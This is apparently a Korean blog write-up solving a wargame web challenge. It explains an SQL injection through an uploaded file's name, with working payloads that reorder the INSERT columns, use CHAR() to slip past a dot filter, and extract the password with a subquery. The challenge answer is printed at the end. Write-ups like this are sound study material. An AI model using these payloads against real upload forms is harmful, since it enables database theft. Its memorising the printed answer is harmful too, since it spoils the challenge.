<html>

<head>

<title>Challenge 29</title>

</head>

<body>

<hr>

hint<br><br>

<font size=1>select password from c29_tb<br><br>

$file_name=str_replace(".","",$file_name);<br><br>

blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.<br>

더 간단한 방법이 존재하니 그 방법을 이용해주세요.

</font>

<hr>


<form method=post enctype="multipart/form-data" action=index.php>

<input type=file name=upfile><input type=submit>

</form>


</body>

</html>


소스코드는 파일 첨부 기능과 .을 필터처리 하는 것 이외 별 기능이 없다.

임의 파일을 첨부해서 전송하면 시간, ip, file 값이 출력된다.

------------------------------------------------

   time        |         ip        |       file

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------


위 결과를 볼 때, INSERT 쿼리로 파일을 DB에 저장하고, SELECT로 출력했을 것이다.

1. INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');

2. SELECT time, ip, file from c29_tb;



우리가 조작할 수 있는 것은 파일명이다.

또한 magic_quotes_gpc 옵션이 On이 되어있는데, 해당 옵션은 GET, POST, COOKIE 방식으로 전달받을 때 적용되고

$_FILE 변수로 전달받을 때는 적용안됨.



abc')# 로 파일명을 변경해서 전송했더니 upload error! 가 출력된다.

즉, INSERT 쿼리로 값을 저장할 때 칼럼의 순서가 다를수도 있다는 것이다.


INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$file_name', '$_SERVER["REMOTE_ADDR"]');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$file_name', '$time', '$_SERVER["REMOTE_ADDR"]');  // Done


파일명이 첫번째 칼럼으로 지정되어 있다. 

따라서 파일명을 hellworld','153582527','123123')#로 변경후 전송했다.



업로드는 성공했는데 출력이 없었다. INSERT를 할 때 자료형을 맞춰서 전달해야하는 것 같다.

hellworld','153582527','111.222.333.444')#로 파일명을 변경해서 시도했지만 여전히 업로드한 파일이 출력되지 않았다.

2번째, 3번째 칼럼위치도 변경해서 시도했지만 마찬가지였다.


아....필터처리를 까먹었다. .을 필터처리하기 때문에 CHAR()함수를 사용해 전송했지만 

마찬가지로 해당파일을 출력한 화면을 볼 수 없었다.


SELECT 쿼리로 처리할 때 WHERE 구에 공인IP 주소를 조건으로 사용하는 것 같다.

나의 공인IP 주소를 CHAR() 함수로 변환해서 시도해봤다.


hellworld','153582527',CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))# 으로 전송하니 성공!

따라서 시간 칼럼 부분에 서브 쿼리로 (SELECT password FROM c29_tb)로 변경해서 전송하면 패스워드를 화면에서 볼 수 있다.


Hellworld!',(SELECT password from c29_tb),CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))#

IP는 소중하니까 물음표..


Password is 296eedfa0b5f4deab7cc8140cfc65dd8


+ Recent posts